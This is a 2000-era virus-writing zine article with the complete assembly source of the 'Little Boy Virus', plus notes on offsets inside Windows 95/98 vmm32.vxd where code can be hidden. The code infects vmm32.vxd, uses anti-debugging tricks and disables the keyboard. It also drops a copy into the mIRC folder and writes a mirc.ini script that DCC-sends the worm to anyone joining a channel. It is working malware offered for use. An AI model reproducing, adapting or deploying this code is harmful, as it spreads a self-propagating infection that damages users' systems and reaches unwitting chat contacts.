G9N 1: Little Boy Virus (Y2K Version)
..o( Little Boy Virus (Y2K Version) )o....................[G9N-01.02]..
: :
: Brief Description: Stupid IA, Basic Desicions, Modules, asm, 16 bit,:
: vmm32 n mIRC, may b new stuff may b a new coctail, chust LBV. :
: G9N issue Date: May 2000 :
: Author: The Spy :
:.....................................................................:
I think this 16 bit piece of code its like a pretty revival of DOS asm 16 bit codin... not really.
As u can c 1077 bytes r enough n too much for this babe, but i think that an 1k irc worm its very cool.
Some Words about Vmm32.vxd win95/98, Usefull Holes in vmm32.vxd:
U know that MS stinks a lot, so look into VMM32.vxd n search for some holes, like nulls, but something more interestin da 'DMPADMPADMPA...' holes, they r so pretty useful :) Chust check it.
I ve only tested da spanish versions, but i know that english one, would ve da holes too, dont know in da same offsets, but, let me tell u that da some holes r compatibles with other version holes, so we ve a very nice place to fit inside. Oh yeah, let fuck vmm32 hehe.
Remember that vmm32.vxd ve 16 bit code, if u can, read some book that can help u to understand what vmm32.vxd do.
Ok, go!
W95 Spanish Version:
- Offset 0001:129B ('DMPA')
- til 0001:356B so there r 8912 bytes (it finish in a 'D')
- n Offset 0001:356C (nulls)
- til 0001:3FFF so there r 2707 bytes
- Total consecutive bytes: 11619
also 0000:F14E to 0001:0177 r 4137 null bytes n other blanks.
Code Segment 1: 400h to offset 971h there r 1392 bytes free.
In LBV, EAF0050000 in offset 9EBh pass to 2EFF160001 to my code ;)
W98 Spanish Version:
- Offset 0000:DF0E ('MPAD')
- til 0000:F6DD so there r 6095 bytes (it finish in a 'D')
- n Offset 0000:F6DE (nulls)
- til 0000:FFFF so there r 2337 bytes
- Total consecutive bytes: 8432
also 0000:B24C to 0000:C275 r 4137 null bytes n other blanks.
The Spy,
fuck u mocosoft
;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,
; Little Boy Virus (Y2K Version)
; by The Spy
; Start codin: 20/02/2000
; Finished codin: 08/03/2000
; Size: 1077 bytes (It could b less but its an example of some things,
; includin da enormous space that da vmm32.vxd brings me!! :))
; Its new, Its dirty, Itsssssssssuxs! hehe
; Y2K Compliant ;D hehehe
; For win95 only (Designed for 4.00.950 B) X`DDD
;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,
;
; Da Borin Classic History:
; In da middle of 1995 i ve started codin a COM/EXE/SYS infector that
; i ve named littleboy cuz i will ve da payload in Aug 6th, 1995 in
; memory of da ppl that ve died for da atomic bomb in japan in 1945.
; I ve never finished it, n i want to bring littleboy virus back, now
; doin other things, like worm things, so here is it.
;
; New Version: 2000
; New Description:
; - Infects da win95 vmm32.vxd n it modifies da c:\mirc\mirc.ini to
; send a copy of itself as boy95.com hehe :)
; - Anti-Debugging (las mismas boludeces de siempre :))
; - Runtime Decide, Nop Module, Garbage Module, etc
;*- Implements my new encryption method (Carry Method) ]= NO TIME ]=
;*- Antidummie Check ]= NO TIME ]=
;*- Descamation ]= NO TIME ]=
;*? It Implements Vampirism ]= NO TESTED YET ]=
; - Payload: It uses da vmm32.vxd every run to show da string
;
; 'The Spy was here! :p'
;
;AVs Detections:
;
; - No one, of course.
;
; I know i ve not commented it as pretty well u want, but i want that
; u look in da source hehe, nice move ah? ;D
; Enjoy it :)
;
;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,
.286 ; a 286 runnin a win95/98? hahahaa so funny
.model tiny
.code
org 100h
play:
pusha
push cs
pop ds
; cmp ax,bx ; what r u doin?
; jne avanzo
; cmp cx,dx
; jnz avanzo
; jmp Its_a_Dummie ; dont trace me!
;avanzo:
mov ah,19h ; GET CURRENT DEFAULT DRIVE
int 21h
mov [curdriv],al; curdr:=al;
; mov ah,47h
; xor dx,dx
; lea si,curdire
; int 21h
mov ah,0Eh ; SELECT DEFAULT DRIVE
mov dl,2 ; 'C:'
int 21h
mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,barra ; '\'
int 21h
mov ah,3Dh ; OPEN EXISTING FILE
lea dx,fname ; 'msdos.sys'
int 21h
;; ;;
; Hey, im codin like a Mocosoft coder ;
; - Int 21h lover ;) ;
;; ;;
mov bx,ax ; bx:=handle;
mov ah,3fh ; READ FROM FILE OR DEVICE
mov cx,50 ; bytes amount
lea dx,bosta ; where r da bytes goin to?
int 21h
mov si,dx ; si -> bosta
mov dx,'Dn' ; Wi'nD'ir
; xor cx,cx ; cx goes NULL
lookfor:
; shl ax,8 ; Save da old char
mov ah,al ; Save da old char
lodsb ; Load da new char
cmp dl,ah ; Its 'n' ?
jz thatone ; Yes, it is
; cmp al,cl ; No, Its a null?
jnz lookfor ; No, Look for a new char
; jmp Its_a_Dummie; Yes, there is no WinDir in msdos.sys
thatone:
cmp dl,ah ; Its 'D' ?
jnz lookfor ; Nope, go for da new char
add si,6 ; si ------------.
; 'WinDir=X:\' <-'
; lodsw ;ir
; lodsw ;=C
; lodsw ;:\
; now si points to da string
mov ah,3eh ; dont forget close da msdos.sys hehe ;P
int 21h
lea di,bosta ; choose recipient
other:
lodsb ; Load byte
cmp al,0Dh ; Its 0Dh ?
jz stop ; Yep, Ive finished movin bytes
stosb ; Nope, Ive to copy
jmp other ; go for another byte
stop:
lea si,barra ; .----.
mov byte ptr[si+1],53h ; put da 'S' '\SYSTEM',0
; I save a byte ;) overwritin da null
movsw ; copy da '\SYSTEM',0
movsw
movsw
movsw
movsb ; we need to place da null too
mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,bosta ; WinDir + '\SYSTEM',0
int 21h
jnc segui
jmp Its_a_Dummie
segui:
mov ax,3D02h ;Open Read n Write
lea dx,vmm32 ;File Name
int 21h ;...
jnc Infect_VMM32 ;
jmp exit ;error? what? da system does not ve da
;vmm32.vxd ??? well, its not a w95/98
;jumptome db 0EAh,00h,00h,00h,00h
;jumptohim db 0EAh,0F0h,05h,00h,00h
callmeplz: call cs:0100h ; 2Eh,0FFh,16h,00h,01h
;why 100h ?, cuz 500h - 400h its emm.. 100h :) shit it works :D
Infect_VMM32:
mov ah,3Fh ;lets gonna read
mov cx,32h
lea dx,bosta
int 21h
cmp word ptr [bosta+14h],1707h ; i check if its w95 vmm32.vxd
jz aja ; with da entry point
jmp body ; if isnt, just getout this pc!
aja:
mov bp,20
bp_repeat:
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;0000:
src:
mov dx,0500h ;0500h
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000
mov ah,3Fh ;lets gonna read
mov cx,50
lea dx,bosta
int 21h
cmp word ptr [bosta],0E60h ; i know, i know, its slow but
jnz vamo ; if i place a check before da
jmp body ; file grows too much to fit,
; so i must place da check into
; da bp_repeat loop DAMN!
; it works fine 8D!
vamo:
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;
inc cl ;0001:
dst:
mov dx,219Bh ;219Bh
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000
mov ah,40h ;lets gonna write
mov cx,50
lea dx,bosta
int 21h
dec bp
cmp bp,0
jz sigasiga
add word ptr [src+1],50
add word ptr [dst+1],50
jmp bp_repeat
sigasiga:
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;0000:
mov dx,0500h ;0500h
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000
mov ah,40h ;lets gonna write
mov cx,(endplay-play) ;what im goin to write??...
lea dx,play ;initial point
int 21h ;to write it
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;0000:
mov dx,09EBh ;09EBh
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000
mov ah,40h ;lets gonna write
mov cx,5 ;what im goin to write??...
lea dx,callmeplz ;initial point
int 21h ;to write it
mov ah,3eh ; dont forget close da vmm32.vxd too...
int 21h
lea si,barra ; .----.
mov byte ptr[si+1],00h ; put da null '\SYSTEM',0
mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,barra ; '\'
int 21h
; mov ah,3bh ; SET CURRENT DIRECTORY
; lea dx,curdire ; dx -> curdire
; int 21h
mov ah,0Eh ; SELECT DEFAULT DRIVE
mov dl,[curdriv] ; dl:=curdriv;
int 21h
jmp body
curdriv db 02h
fname db 'msdos.sys',00h
barra db '\',0
system db 'YSTEM',0
vmm32 db 'vmm32.vxd',00h
bosta db 50 dup (00h)
;curdire db 64 dup (00h)
Check_Dummie: ; No time, but im goin to code it in da future, i guess
Its_a_Dummie:
; jmp exit
body:
cli
in al,21h ; Keyboard Out
or al,02h
out 21h,al
push ax ; Stack Check
pop dx
dec sp
dec sp
pop cx
sti
; call delta
;delta:
; pop di
; add di,(behappy-delta+6); di:=offset behappy;
cmp cx,dx ; its to meeeeee?
jz behappy ; if cx=dx then im runnin ok
mov al,90h ; else overwrite virus source with nops
; i know its a very old trick, but who
; cares? its pretty nasty, i like it :)
chustloop:
stosb ; put a fuckin nop
call listop ; yeah kewl
jmp chustloop ; go for da next one
behappy:
db 'THESPY' ; what da fuck r u doin?
;push sp ; 'T'
;dec ax ; 'H'
;inc bp ; 'E'
;push bx ; 'S'
;push ax ; 'P'
;pop cx ; 'Y'
add sp,4 ; chust fix da stupid way to sign X`DDD
Check_Residency: ; now its a joke ;D
;, ,;;;;;;;;;;;;;;;,;;;; TEST ONLY ;;;;,;;;;;;;;;;;;;;;, ,;
;;;,;;;,;;;;;;;;;;;;;;;;;;; Works Great! :D ;;;;;;;;;;;;;;;;;;;,;;;,;;;
Decide_What_To_Do:
; Random Life hehehe, this virus belives in destiny ;D
in ax,40h ; Some Veryveryvery Stupid IA (if i can say IA)
add al,ah ; Chust da first step, i ve think more... wait!
shr al,4 ; OK, chust test da first nibble bits
test al,1 ; 1st bit
jnz MN ; Nop_Module
test2:
test al,2 ; 2nd bit
jnz MG ; Garbage_Module
test4:
test al,4 ; 4th bit
jnz PS ; Set Payload n Make da next run execute MGifMN
; or if MGifMN then restore
test8:
test al,8 ; 8th bit
jnz CC ; Create_COM
jmp Exit ; Ok, now, get out of here
MN:
call Nop_Module
jmp test2
MG:
call Garbage_Module
jmp test4
PS:
mov byte ptr [payload],01h
cmp word ptr [test2],9090h
jz restore
mov word ptr [test2],9090h ; i can optimize that but i
jmp test8 ; think this way is more easy
restore: ; to understand, so it is here
mov word ptr [test2],02A8h
jmp test8
CC:
call Create_COM ; It will infect mIRC also
jmp Exit ; Ok, now, get out of here
Nop_Module:
nopdup db 19 dup (90h)
ret
Garbage_Module: ; hehe, Garbage_Module? Shit_Module! X`DDD
lea di,bullshit
mov cx,8
luphere:
in al,40h
stosb
dec cx
jnz luphere
ret
bullshit:
damn db 9 dup (?)
Create_COM:
mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,mircdir ; 'c:\mirc'
int 21h
jc strike3
mov ah,3Ch ; create a .com to send via irc
xor cx,cx ;...
lea dx,comname
int 21h
jc strike3
xchg ax,bx ; bx=handle
mov ah,40h ;lets gonna write
mov cx,(endplay-play) ;what im goin to write??...
lea dx,play ;initial point
int 21h ;to write it
mov ah,3Eh ; dont forget close da boy95.com
int 21h
Infect_Mirc_Ini:
lea si,mircini ; im savin a whole total of
mov byte ptr [si-1],'m' ; 2 enormous bytes with this move X)
mov ax,3D02h ;Open Read n Write
lea dx,mircdir ;File Name
int 21h ;...
jc strike3 ; damn! ive decide to dont create a new
; mirc.ini, i think we must not say
; 'Hello! im here!' so easy.
xchg ax,bx ; bx=handle
mIRC_Ini_Infection_Check:
mov ax,4202h ;to da end of da file
xor cx,cx
xor dx,dx
int 21h
xchg dx,ax ;cx:dx=filesize
mov ax,4200h ;to da end of da file-6
sub dx,6
int 21h
mov ah,3Fh ; read 2 bytes
mov cx,2
lea dx,mircdir ; Use it, anyway it will no affect nothing
int 21h
mov ax,'ci' ; checks for $n'ic'k well, it so shitty, but
cmp word ptr [mircdir],ax ; who da fuck cares?
je strike3
mov ax,4202h ;to da end of da file
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; write da script
mov cx,ak-script
lea dx,script
int 21h
mov ah,3Eh ; close da file
int 21h
strike3:
ret ; ret to da decision module
mircdir db 'c:\mirc\',0
mircini db 'irc.ini',0
comname db 'c:\mirc\boy95.com',0
script db 13,10,'[script]',13,10
n0 db 'n0=; Little Boy Virus (Y2K Version) The Spy',13,10
n1 db 'n1=ON 1:JOIN:#:{ /if ( $nick != $me )'
db ' { /dcc send $nick $mircdirboy95.com | '
db '/ignore $nick }',13,10
n2 db 'n2=ON 1:TEXT:*boy95*:*:/ignore $nick',13,10
n3 db 'n3=ON 1:TEXT:*LittleBoy*:*:/ignore $nick',13,10
n4 db 'n4=ON 1:TEXT:*LBV*:*:/ignore $nick',13,10
n5 db 'n5=ON 1:TEXT:*infect*:*:/ignore $nick',13,10
zero db 0
ak: ; im abusin of labels so dont tell that i dont refernce
; clearly :]
;Infect_Pirch:
;u sure? well not implemented
;Infect_PE:
;da pe dos stub infection, nah
;Generate_SCR:
;n put it in \mirc\download, TSVT isnt finished, so wait
listop: ; why????
ret ; cuz when ret became nop, it will exit, hehee
Exit:
lea si,payload ; Check for payload
xor bx,bx ; bx=00h
inc bl ; bx=01h
cmp byte ptr[si],bl ;01h
jnz GetOutNow ; if not payload then exit;
shl bx,4 ; bx=10h
sub si,bx ;10h, now si points to author
shl bx,1 ; bx=20h
mov byte ptr[si],bl ;20h, now put a space over da '$'
mov ax,0900h ; thats my way
lea dx,autor
int 21h
GetOutNow:
in al,21h ; Keyboard In
and al,not 2
out 21h,al
mov ax,3D02h ;Open Read n Write
lea dx,vmm32 ;File Name
int 21h ;...
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;
inc cl ;0001:
mov dx,219Bh ;219Bh
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000
mov ah,3Fh ; lets gonna read
mov cx,1050
mov dx,0100h
int 21h
mov ah,3Eh
int 21h
popa
ret
Virus db 'Little Boy Virus$'
Autor db 'The Spy$' ; 2da vz, pa los AVers idiotas
db 'was here! :p$'
VirSize db 0000h ; for compatibility
VirBody db 00h ; like MS systems, u know
Payload db 00h
endplay:
end play